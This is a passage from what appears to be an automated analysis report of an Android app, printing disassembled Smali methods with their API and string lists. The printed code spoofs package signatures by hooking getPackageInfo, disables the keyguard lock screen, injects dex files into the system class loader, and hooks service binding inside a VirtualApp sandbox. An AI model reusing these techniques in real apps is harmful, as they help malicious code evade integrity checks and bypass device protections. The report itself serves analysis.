                              29aput-object v0, v3, v4
                              30const/4 v0, 0x1
                              31const-class v4, Landroid/app/ActivityOptions;
                              32aput-object v4, v3, v0
                              34invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              35move-result-object v0
                              36const/4 v1, 0x1
                              38invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              39const/4 v1, 0x2
                              40new-array v1, v1, [Ljava/lang/Object;
                              41const/4 v2, 0x0
                              42const/4 v3, 0x0
                              43aput-object v3, v1, v2
                              44const/4 v2, 0x1
                              45const/4 v3, 0x0
                              46aput-object v3, v1, v2
                              48invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              49goto_45: return-void
                              50cond_46: add-int/lit8 v0, v2, 0x1
                              51move v2, v0
                              52goto/16 :goto_a
                              53cond_4a: const-class v1, Landroid/app/Activity;
                              55const-string v2, "convertToTranslucent"
                              56const/4 v3, 0x1
                              57new-array v3, v3, [Ljava/lang/Class;
                              58const/4 v4, 0x0
                              59aput-object v0, v3, v4
                              61invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              62move-result-object v0
                              63const/4 v1, 0x1
                              65invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              66const/4 v1, 0x1
                              67new-array v1, v1, [Ljava/lang/Object;
                              68const/4 v2, 0x0
                              69const/4 v3, 0x0
                              70aput-object v3, v1, v2
                              72invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              73try_end_66: goto/16 :goto_45
                              74catch_67: move-exception v0
                              75goto/16 :goto_45
                              76cond_69: move-object v0, v1
                              77goto/16 :goto_1a
                              APIs
                              • java.lang.reflect.Method.getName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.getName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • android.content.pm.Signature.<init>
                              • android.content.pm.PackageInfo.signatures:[Landroid/content/pm/Signature
                              • android.content.pm.PackageInfo.signatures:[Landroid/content/pm/Signature
                              • android.content.pm.PackageInfo.signatures:[Landroid/content/pm/Signature
                              • java.lang.reflect.Method.invoke
                              Strings
                              • getPackageInfo
                              • getPackageArchiveInfo
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "getPackageInfo"
                              4invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              5move-result-object v1
                              7invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              8move-result v0
                              9if-nez v0, :cond_1a
                              11const-string/jumbo v0, "getPackageArchiveInfo"
                              13invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              14move-result-object v1
                              16invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              17move-result v0
                              18if-eqz v0, :cond_48
                              19cond_1a:
                              20iget-object v0, p0, Lcom/omgSdk/outport/CoreLeader;->b:Ljava/lang/Object;
                              22invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23move-result-object v0
                              24check-cast v0, Landroid/content/pm/PackageInfo;
                              26iget-object v1, p0, Lcom/omgSdk/outport/CoreLeader;->a:Landroid/content/Context;
                              28invoke-virtual {v1}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              29move-result-object v1
                              31sget-object v2, Lcom/omgSdk/outport/CoreLeader;->c:Ljava/lang/String;
                              33invoke-virtual {v1, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              34move-result-object v1
                              36invoke-static {v1}, Lcom/omgSdk/outport/CoreLeader;->a(Ljava/io/InputStream;)Ljava/lang/String;
                              37move-result-object v1
                              38new-instance v2, Landroid/content/pm/Signature;
                              40invoke-direct {v2, v1}, Landroid/content/pm/Signature;-><init>(Ljava/lang/String;)V
                              41if-eqz v0, :cond_47
                              43iget-object v1, v0, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;
                              44if-eqz v1, :cond_47
                              46iget-object v1, v0, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;
                              47array-length v1, v1
                              48if-lez v1, :cond_47
                              50iget-object v1, v0, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;
                              51const/4 v3, 0x0
                              52aput-object v2, v1, v3
                              53goto_47: return-object v0
                              54cond_48:
                              55iget-object v0, p0, Lcom/omgSdk/outport/CoreLeader;->b:Ljava/lang/Object;
                              57invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              58move-result-object v0
                              59goto/16 :goto_47
                              Cross References
                              APIs
                              • java.io.FileReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.io.BufferedReader.close
                              • java.io.FileReader.close
                              • java.lang.String.indexOf
                              • java.lang.String.substring
                              • java.lang.String.trim
                              Strings
                              • /proc/cpuinfo
                              • Could not read from file /proc/cpuinfo
                              • Could not open file /proc/cpuinfo
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1: new-instance v1, Ljava/io/FileReader;
                              4const-string v2, "/proc/cpuinfo"
                              6invoke-direct {v1, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                              7try_end_8: if-eqz v1, :cond_1b
                              8try_start_a: new-instance v2, Ljava/io/BufferedReader;
                              9const/16 v3, 0x400
                              11invoke-direct {v2, v1, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                              13invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              14try_end_14: move-result-object v0
                              15try_start_15:
                              16invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                              18invoke-virtual {v1}, Ljava/io/FileReader;->close()V
                              19goto_1b: if-eqz v0, :cond_44
                              20const/16 v1, 0x3a
                              22invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(I)I
                              23move-result v1
                              24add-int/lit8 v1, v1, 0x1
                              26invoke-virtual {v0, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                              27move-result-object v0
                              29invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                              30move-result-object v0
                              31goto_2d: return-object v0
                              32catch_2e: move-exception v1
                              33try_start_2f:
                              34sget-object v2, Lb/a/at;->a:Ljava/lang/String;
                              36const-string v3, "Could not read from file /proc/cpuinfo"
                              38invoke-static {v2, v3, v1}, Lb/a/aw;->c(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                              39try_end_36: goto/16 :goto_1b
                              40catch_37: move-exception v1
                              41move-object v4, v1
                              42move-object v1, v0
                              43move-object v0, v4
                              44goto_3b:
                              45sget-object v2, Lb/a/at;->a:Ljava/lang/String;
                              47const-string v3, "Could not open file /proc/cpuinfo"
                              49invoke-static {v2, v3, v0}, Lb/a/aw;->c(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                              50move-object v0, v1
                              51goto/16 :goto_1b
                              52cond_44:
                              53const-string v0, ""
                              54goto/16 :goto_2d
                              55catch_47: move-exception v1
                              56move-object v4, v1
                              57move-object v1, v0
                              58move-object v0, v4
                              59goto/16 :goto_3b
                              Cross References
                              APIs
                              • android.content.Intent.getParcelableExtra
                              • android.content.Intent.resolveActivity
                              • android.content.Intent.<init>
                              • android.content.Intent.toUri
                              • android.content.Intent.putExtra
                              • android.content.Intent.setClassName
                              • android.content.Intent.removeExtra
                              • android.content.Intent.putExtra
                              Strings
                              • android.intent.extra.shortcut.INTENT
                              • _VA_|_uri_
                              • ShortcutHandleActivity
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "android.intent.extra.shortcut.INTENT"
                              4invoke-virtual {p1, v0}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
                              5move-result-object v0
                              6check-cast v0, Landroid/content/Intent;
                              7if-eqz v0, :cond_3a
                              9invoke-virtual {p0}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$BroadcastIntent;->getPM()Landroid/content/pm/PackageManager;
                              10move-result-object v1
                              12invoke-virtual {v0, v1}, Landroid/content/Intent;->resolveActivity(Landroid/content/pm/PackageManager;)Landroid/content/ComponentName;
                              13move-result-object v1
                              14if-eqz v1, :cond_3a
                              15new-instance v1, Landroid/content/Intent;
                              17invoke-direct {v1}, Landroid/content/Intent;-><init>()V
                              19const-string v2, "_VA_|_uri_"
                              20const/4 v3, 0x0
                              22invoke-virtual {v0, v3}, Landroid/content/Intent;->toUri(I)Ljava/lang/String;
                              23move-result-object v0
                              25invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              27invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$BroadcastIntent;->getHostPkg()Ljava/lang/String;
                              28move-result-object v0
                              30const-string v2, "ShortcutHandleActivity"
                              32invoke-static {v2}, Lcom/lody/virtual/client/stub/VASettings;->getRandomName(Ljava/lang/String;)Ljava/lang/String;
                              33move-result-object v2
                              35invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              37const-string v0, "android.intent.extra.shortcut.INTENT"
                              39invoke-virtual {v1, v0}, Landroid/content/Intent;->removeExtra(Ljava/lang/String;)V
                              41const-string v0, "android.intent.extra.shortcut.INTENT"
                              43invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              44cond_3a: return-void
                              APIs
                              • java.lang.IllegalArgumentException.<init>
                              • com.lody.virtual.server.accounts.VAccountManagerService.renameAccountInternal
                              • android.os.Bundle.<init>
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.os.Bundle.putString
                              • android.accounts.Account.type:Ljava/lang/String
                              • android.os.Bundle.putString
                              • android.accounts.IAccountManagerResponse.onResult
                              • com.lody.virtual.server.accounts.VAccountManagerService.TAG:Ljava/lang/String
                              • android.os.RemoteException.getMessage
                              • android.util.Log.w
                              Strings
                              • account is null
                              • authAccount
                              • accountType
                              Position Instruction Meta Information
                              0.prologue
                              1if-nez p3, :cond_a
                              2new-instance v0, Ljava/lang/IllegalArgumentException;
                              4const-string v1, "account is null"
                              6invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              7throw v0
                              8cond_a:
                              9invoke-direct {p0, p1, p3, p4}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->renameAccountInternal(ILandroid/accounts/Account;Ljava/lang/String;)Landroid/accounts/Account;
                              10move-result-object v0
                              11new-instance v1, Landroid/os/Bundle;
                              13invoke-direct {v1}, Landroid/os/Bundle;-><init>()V
                              15const-string v2, "authAccount"
                              17iget-object v3, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
                              19invoke-virtual {v1, v2, v3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              21const-string v2, "accountType"
                              23iget-object v0, v0, Landroid/accounts/Account;->type:Ljava/lang/String;
                              25invoke-virtual {v1, v2, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              26try_start_21:
                              27invoke-interface {p2, v1}, Landroid/accounts/IAccountManagerResponse;->onResult(Landroid/os/Bundle;)V
                              28try_end_24: return-void
                              29catch_25: move-exception v0
                              31sget-object v1, Lcom/lody/virtual/server/accounts/VAccountManagerService;->TAG:Ljava/lang/String;
                              33invoke-virtual {v0}, Landroid/os/RemoteException;->getMessage()Ljava/lang/String;
                              34move-result-object v0
                              36invoke-static {v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                              37goto/16 :goto_24
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.os.PowerManager.newWakeLock
                              • android.os.PowerManager$WakeLock.acquire
                              • android.os.PowerManager$WakeLock.release
                              • android.content.Context.getSystemService
                              • android.app.KeyguardManager.newKeyguardLock
                              • android.app.KeyguardManager$KeyguardLock.disableKeyguard
                              • java.lang.Exception.printStackTrace
                              Strings
                              • power
                              • SimpleTimer
                              • keyguard
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "power"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/os/PowerManager;
                              7const v1, 0x10000006
                              9const-string v2, "SimpleTimer"
                              11invoke-virtual {v0, v1, v2}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
                              12move-result-object v0
                              14invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->acquire()V
                              16invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->release()V
                              18const-string v0, "keyguard"
                              20invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              21move-result-object v0
                              22check-cast v0, Landroid/app/KeyguardManager;
                              24const-string v1, ""
                              26invoke-virtual {v0, v1}, Landroid/app/KeyguardManager;->newKeyguardLock(Ljava/lang/String;)Landroid/app/KeyguardManager$KeyguardLock;
                              27move-result-object v0
                              29invoke-virtual {v0}, Landroid/app/KeyguardManager$KeyguardLock;->disableKeyguard()V
                              30try_end_28: return-void
                              31catch_29: move-exception v0
                              33invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              34goto/16 :goto_28
                              Cross References
                              APIs
                              • android.content.Context.getDir
                              • java.io.File.getAbsolutePath
                              • android.content.Context.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              Strings
                              • dex
                              • mPaths
                              • mRawDexPath
                              • mFiles
                              • mZips
                              • mDexs
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ldalvik/system/DexClassLoader;
                              3const-string v1, "dex"
                              4const/4 v2, 0x0
                              6invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              7move-result-object v1
                              9invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              10move-result-object v1
                              12invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              13move-result-object v2
                              15invoke-direct {v0, p3, v1, p3, v2}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              16instance-of v1, p1, Ldalvik/system/PathClassLoader;
                              17if-eqz v1, :cond_2f
                              19const-string v1, "mPaths"
                              21const-string v2, "mPaths"
                              23invoke-static {p1, p2, v2}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              24move-result-object v2
                              25const-class v3, Ldalvik/system/DexClassLoader;
                              27const-string v4, "mRawDexPath"
                              29invoke-static {v0, v3, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              30move-result-object v3
                              32invoke-static {v2, v3, p4}, Lcom/taobao/android/runtime/ArrayUtils;->appendArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              33move-result-object v2
                              35invoke-static {p1, p2, v1, v2}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              36cond_2f:
                              37const-string v1, "mFiles"
                              39const-string v2, "mFiles"
                              41invoke-static {p1, p2, v2}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              42move-result-object v2
                              43const-class v3, Ldalvik/system/DexClassLoader;
                              45const-string v4, "mFiles"
                              47invoke-static {v0, v3, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              48move-result-object v3
                              50invoke-static {v2, v3, p4}, Lcom/taobao/android/runtime/ArrayUtils;->combineArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              51move-result-object v2
                              53invoke-static {p1, p2, v1, v2}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              55const-string v1, "mZips"
                              57const-string v2, "mZips"
                              59invoke-static {p1, p2, v2}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              60move-result-object v2
                              61const-class v3, Ldalvik/system/DexClassLoader;
                              63const-string v4, "mZips"
                              65invoke-static {v0, v3, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              66move-result-object v3
                              68invoke-static {v2, v3, p4}, Lcom/taobao/android/runtime/ArrayUtils;->combineArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              69move-result-object v2
                              71invoke-static {p1, p2, v1, v2}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              73const-string v1, "mDexs"
                              75const-string v2, "mDexs"
                              77invoke-static {p1, p2, v2}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              78move-result-object v2
                              79const-class v3, Ldalvik/system/DexClassLoader;
                              81const-string v4, "mDexs"
                              83invoke-static {v0, v3, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              84move-result-object v0
                              86invoke-static {v2, v0, p4}, Lcom/taobao/android/runtime/ArrayUtils;->combineArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              87move-result-object v0
                              89invoke-static {p1, p2, v1, v0}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              90return-void
                              APIs
                              • java.lang.Integer.intValue
                              • android.content.Intent.getIntExtra
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.ServiceInfo.packageName:Ljava/lang/String
                              • android.content.pm.ServiceInfo.name:Ljava/lang/String
                              • android.content.ComponentName.<init>
                              • android.content.Intent.setComponent
                              • com.lody.virtual.client.hook.secondary.ServiceConnectionDelegate.getDelegate
                              • android.os.IInterface.asBinder
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Strings
                              • _VA_|_user_id_
                              Position Instruction Meta Information
                              0.prologue
                              1const/16 v8, -0x2710
                              2const/4 v0, 0x0
                              3aget-object v0, p3, v0
                              4move-object v1, v0
                              5check-cast v1, Landroid/os/IInterface;
                              6const/4 v0, 0x1
                              7aget-object v2, p3, v0
                              8check-cast v2, Landroid/os/IBinder;
                              9const/4 v0, 0x2
                              10aget-object v3, p3, v0
                              11check-cast v3, Landroid/content/Intent;
                              12const/4 v0, 0x3
                              13aget-object v4, p3, v0
                              14check-cast v4, Ljava/lang/String;
                              15const/4 v0, 0x4
                              16aget-object v0, p3, v0
                              17check-cast v0, Landroid/app/IServiceConnection;
                              18const/4 v5, 0x5
                              19aget-object v5, p3, v5
                              20check-cast v5, Ljava/lang/Integer;
                              22invoke-virtual {v5}, Ljava/lang/Integer;->intValue()I
                              23move-result v6
                              25invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              26move-result v7
                              28invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$BindService;->isServerProcess()Z
                              29move-result v5
                              30if-eqz v5, :cond_35
                              32const-string v5, "_VA_|_user_id_"
                              34invoke-virtual {v3, v5, v8}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              35move-result v7
                              36cond_35: if-ne v7, v8, :cond_3c
                              38invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              39move-result-object v0
                              40goto_3b: return-object v0
                              41cond_3c:
                              42invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              43move-result-object v5
                              45invoke-virtual {v5, v3, v7}, Lcom/lody/virtual/client/core/VirtualCore;->resolveServiceInfo(Landroid/content/Intent;I)Landroid/content/pm/ServiceInfo;
                              46move-result-object v5
                              47if-eqz v5, :cond_6d
                              48sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
                              49const/16 v9, 0x15
                              50if-lt v8, v9, :cond_58
                              51new-instance v8, Landroid/content/ComponentName;
                              53iget-object v9, v5, Landroid/content/pm/ServiceInfo;->packageName:Ljava/lang/String;
                              55iget-object v5, v5, Landroid/content/pm/ServiceInfo;->name:Ljava/lang/String;
                              57invoke-direct {v8, v9, v5}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                              59invoke-virtual {v3, v8}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                              60cond_58:
                              61invoke-static {v0}, Lcom/lody/virtual/client/hook/secondary/ServiceConnectionDelegate;->getDelegate(Landroid/app/IServiceConnection;)Lcom/lody/virtual/client/hook/secondary/ServiceConnectionDelegate;
                              62move-result-object v5
                              64invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              65move-result-object v0
                              67invoke-interface {v1}, Landroid/os/IInterface;->asBinder()Landroid/os/IBinder;
                              68move-result-object v1
                              70invoke-virtual/range {v0 .. v7}, Lcom/lody/virtual/client/ipc/VActivityManager;->bindService(Landroid/os/IBinder;Landroid/os/IBinder;Landroid/content/Intent;Ljava/lang/String;Landroid/app/IServiceConnection;II)I
                              71move-result v0
                              73invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              74move-result-object v0
                              75goto/16 :goto_3b
                              76cond_6d:
                              77invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              78move-result-object v0
                              79goto/16 :goto_3b
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getNetworkInfo
                              • android.net.NetworkInfo.getState
                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                              • android.net.ConnectivityManager.getNetworkInfo
                              • android.net.NetworkInfo.getState
                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                              • android.net.NetworkInfo.getSubtypeName
                              Strings
                              • android.permission.ACCESS_NETWORK_STATE
                              • connectivity
                              • Wi-Fi
                              • 2G/3G
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x1
                              2const/4 v2, 0x0
                              3const/4 v0, 0x2
                              4new-array v1, v0, [Ljava/lang/String;
                              6const-string v0, ""
                              7aput-object v0, v1, v2
                              9const-string v0, ""
                              10aput-object v0, v1, v3
                              11try_start_d:
                              12const-string v0, "android.permission.ACCESS_NETWORK_STATE"
                              14invoke-static {p0, v0}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              15move-result v0
                              16if-nez v0, :cond_1c
                              17const/4 v0, 0x0
                              19const-string v2, ""
                              20aput-object v2, v1, v0
                              21move-object v0, v1
                              22goto_1b: return-object v0
                              23cond_1c:
                              24const-string v0, "connectivity"
                              26invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              27move-result-object v0
                              28check-cast v0, Landroid/net/ConnectivityManager;
                              29if-nez v0, :cond_2d
                              30const/4 v0, 0x0
                              32const-string v2, ""
                              33aput-object v2, v1, v0
                              34move-object v0, v1
                              35goto/16 :goto_1b
                              36cond_2d: const/4 v2, 0x1
                              38invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                              39move-result-object v2
                              40if-eqz v2, :cond_43
                              42invoke-virtual {v2}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                              43move-result-object v2
                              45sget-object v3, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                              46if-ne v2, v3, :cond_43
                              47const/4 v0, 0x0
                              49const-string v2, "Wi-Fi"
                              50aput-object v2, v1, v0
                              51move-object v0, v1
                              52goto/16 :goto_1b
                              53cond_43: const/4 v2, 0x0
                              55invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                              56move-result-object v0
                              57if-eqz v0, :cond_61
                              59invoke-virtual {v0}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                              60move-result-object v2
                              62sget-object v3, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                              63if-ne v2, v3, :cond_61
                              64const/4 v2, 0x0
                              66const-string v3, "2G/3G"
                              67aput-object v3, v1, v2
                              68const/4 v2, 0x1
                              70invoke-virtual {v0}, Landroid/net/NetworkInfo;->getSubtypeName()Ljava/lang/String;
                              71move-result-object v0
                              72aput-object v0, v1, v2
                              73try_end_5e: move-object v0, v1
                              74goto/16 :goto_1b
                              75catch_60: move-exception v0
                              76cond_61: move-object v0, v1
                              77goto/16 :goto_1b
                              APIs
                              • sdk.nicro.lu.ps.f$d$1.a:Landroid/content/res/Resources$Theme
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • sdk.nicro.lu.ps.f$d$1.e:Landroid/content/res/Resources
                              • java.lang.Integer.valueOf
                              • sdk.nicro.lu.ps.f$d$1.f:Landroid/content/Context
                              • android.content.Context.getApplicationInfo
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • sdk.nicro.lu.ps.f$d$1.e:Landroid/content/res/Resources
                              • android.content.res.Resources.newTheme
                              • sdk.nicro.lu.ps.f$d$1.a:Landroid/content/res/Resources$Theme
                              • android.content.res.Resources$Theme.applyStyle
                              • sdk.nicro.lu.ps.f$d$1.a:Landroid/content/res/Resources$Theme
                              Strings
                              • selectDefaultTheme
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x1
                              3iget-object v0, p0, Lsdk/nicro/lu/ps/f$d$1;->a:Landroid/content/res/Resources$Theme;
                              4if-nez v0, :cond_57
                              5try_start_5: const-class v0, Landroid/content/res/Resources;
                              7const-string/jumbo v1, "selectDefaultTheme"
                              8const/4 v2, 0x2
                              9new-array v2, v2, [Ljava/lang/Class;
                              10const/4 v3, 0x0
                              12sget-object v4, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              13aput-object v4, v2, v3
                              14const/4 v3, 0x1
                              16sget-object v4, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              17aput-object v4, v2, v3
                              19invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              20move-result-object v0
                              21const/4 v1, 0x1
                              23invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              25iget-object v1, p0, Lsdk/nicro/lu/ps/f$d$1;->e:Landroid/content/res/Resources;
                              26const/4 v2, 0x2
                              27new-array v2, v2, [Ljava/lang/Object;
                              28const/4 v3, 0x0
                              29iget v4, p0, Lsdk/nicro/lu/ps/f$d$1;->b:I
                              31invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              32move-result-object v4
                              33aput-object v4, v2, v3
                              34const/4 v3, 0x1
                              36iget-object v4, p0, Lsdk/nicro/lu/ps/f$d$1;->f:Landroid/content/Context;
                              38invoke-virtual {v4}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                              39move-result-object v4
                              40iget v4, v4, Landroid/content/pm/ApplicationInfo;->targetSdkVersion:I
                              42invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              43move-result-object v4
                              44aput-object v4, v2, v3
                              46invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              47move-result-object v0
                              48check-cast v0, Ljava/lang/Integer;
                              50invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              51move-result v0
                              52iput v0, p0, Lsdk/nicro/lu/ps/f$d$1;->b:I
                              53try_end_48:
                              54iget-object v0, p0, Lsdk/nicro/lu/ps/f$d$1;->e:Landroid/content/res/Resources;
